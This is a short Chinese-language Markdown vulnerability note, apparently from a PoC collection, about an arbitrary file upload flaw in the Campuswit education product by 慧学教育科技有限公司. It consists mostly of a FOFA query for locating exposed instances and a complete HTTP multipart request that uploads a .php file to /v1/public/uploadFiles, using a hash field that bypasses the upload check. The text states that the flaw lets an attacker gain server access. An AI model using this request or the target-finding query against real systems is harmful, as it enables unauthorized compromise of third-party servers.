42 lines
1.1 KiB
Markdown
42 lines
1.1 KiB
Markdown
|
## **慧学教育科技有限公司Campuswit_uploadFiles存在任意文件上传漏洞**
|
|||
|
|
|
|||
|
|
慧学教育科技有限公司Campuswit uploadFiles存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```yaml
|
|||
|
|
body="campuswit"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```yaml
|
|||
|
|
POST /v1/public/uploadFiles HTTP/1.1
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
|
|||
|
|
Content-Type: multipart/form-data; boundary=00content0boundary00
|
|||
|
|
Host:
|
|||
|
|
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
|
|||
|
|
Connection: close
|
|||
|
|
Content-Length: 412
|
|||
|
|
|
|||
|
|
--00content0boundary00
|
|||
|
|
Content-Disposition: form-data; name="keep_filename"
|
|||
|
|
|
|||
|
|
1
|
|||
|
|
--00content0boundary00
|
|||
|
|
Content-Disposition: form-data; name="check_file"
|
|||
|
|
|
|||
|
|
1
|
|||
|
|
--00content0boundary00
|
|||
|
|
Content-Disposition: form-data; name="campuswitHash"
|
|||
|
|
|
|||
|
|
campuswit_hash_success
|
|||
|
|
--00content0boundary00
|
|||
|
|
Content-Disposition: form-data; name="file"; filename="1.php"
|
|||
|
|
Content-Type: text/php
|
|||
|
|
|
|||
|
|
1234
|
|||
|
|
--00content0boundary00--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|